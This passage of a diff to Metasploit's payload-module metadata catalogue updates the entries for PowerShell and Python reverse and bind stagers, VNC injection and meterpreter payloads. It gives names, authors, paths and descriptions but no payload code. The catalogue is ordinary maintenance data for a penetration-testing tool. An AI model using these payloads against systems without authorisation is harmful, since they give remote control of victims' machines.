"name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_rc4", + "payload_cmd/windows/powershell/x64/vncinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_named_pipe", "aliases": [ ], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "author": [ + "Spencer McIntyre", + "sf ", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187021,20 +206892,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_named_pipe", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/vncinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_uuid", + "payload_cmd/windows/powershell/x64/vncinject/bind_tcp": { + "name": "Powershell Exec, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp", "aliases": [ ], @@ -187043,11 +206920,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "OJ Reeves" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187059,20 +206934,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/vncinject/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/find_tag", + "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", "aliases": [ ], @@ -187082,9 +206963,13 @@ "author": [ "Spencer McIntyre", "sf ", - "skape " + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187096,20 +206981,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/find_tag", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/vncinject/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_hop_http", + "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", "aliases": [ ], @@ -187119,11 +207010,9 @@ "author": [ "Spencer McIntyre", "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187135,20 +207024,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_hop_http", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/vncinject/reverse_http": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http", + "payload_cmd/windows/powershell/x64/vncinject/reverse_http": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_http", "aliases": [ ], @@ -187158,9 +207053,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187172,20 +207067,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_http", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, - "payload_cmd/windows/powershell/vncinject/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", + "payload_cmd/windows/powershell/x64/vncinject/reverse_https": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_https", "aliases": [ ], @@ -187195,9 +207096,11 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm " + "hdm ", + "agix", + "rwincey" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187209,20 +207112,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, - "payload_cmd/windows/powershell/vncinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp", "aliases": [ ], @@ -187231,11 +207140,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "skape " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187247,20 +207154,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/vncinject/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_nonx_tcp", + "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", "aliases": [ ], @@ -187270,9 +207183,13 @@ "author": [ "Spencer McIntyre", "sf ", - "vlad902 " + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187284,20 +207201,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/vncinject/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ord_tcp", + "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", "aliases": [ ], @@ -187307,9 +207230,9 @@ "author": [ "Spencer McIntyre", "sf ", - "spoonm " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187321,20 +207244,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp", + "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttp": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttp", "aliases": [ ], @@ -187344,10 +207273,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187359,20 +207287,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_allports", + "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttps": { + "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttps", "aliases": [ ], @@ -187382,10 +207316,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187397,20 +207330,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_dns", + "payload_cmd/windows/powershell_bind_tcp": { + "name": "Windows Interactive Powershell Session, Bind TCP", + "fullname": "payload/cmd/windows/powershell_bind_tcp", "aliases": [ ], @@ -187418,16 +207357,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "RageLtMan" + "Ben Turner", + "Dave Hardy" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Interacts with a powershell session on an established socket connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -187435,21 +207370,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4", + "payload_cmd/windows/powershell_reverse_tcp": { + "name": "Windows Interactive Powershell Session, Reverse TCP", + "fullname": "payload/cmd/windows/powershell_reverse_tcp", "aliases": [ ], @@ -187457,17 +207394,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "Ben Turner", + "Dave Hardy" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Interacts with a powershell session on an established socket connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -187475,21 +207407,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell_reverse_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell_reverse_tcp_ssl": { + "name": "Windows Interactive Powershell Session, Reverse TCP SSL", + "fullname": "payload/cmd/windows/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -187497,17 +207431,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "Ben Turner", + "Dave Hardy" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Interacts with a powershell session on an established SSL socket connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -187515,21 +207444,23 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp_ssl.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell_reverse_tcp_ssl", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_uuid", + "payload_cmd/windows/python/meterpreter/bind_tcp": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", + "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp", "aliases": [ ], @@ -187537,15 +207468,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -187553,21 +207480,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/python/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp" }, - "payload_cmd/windows/powershell/vncinject/reverse_winhttp": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_winhttp", + "payload_cmd/windows/python/meterpreter/bind_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -187576,14 +207509,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "Borja Merino " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -187591,21 +207521,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_winhttp", + "ref_name": "cmd/windows/python/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp", + "payload_cmd/windows/python/meterpreter/reverse_http": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_http", "aliases": [ ], @@ -187613,11 +207549,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf " + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", "references": [ ], @@ -187627,21 +207561,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp", + "ref_name": "cmd/windows/python/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_http", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_http" }, - "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", + "payload_cmd/windows/python/meterpreter/reverse_https": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_https", "aliases": [ ], @@ -187649,12 +207589,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf ", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", "references": [ ], @@ -187664,21 +207601,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/python/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/python", + "adapted_refname": "python/meterpreter/reverse_https", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_https" }, - "payload_cmd/windows/powershell/x64/custom/bind_named_pipe": { - "name": "Powershell Exec, Windows 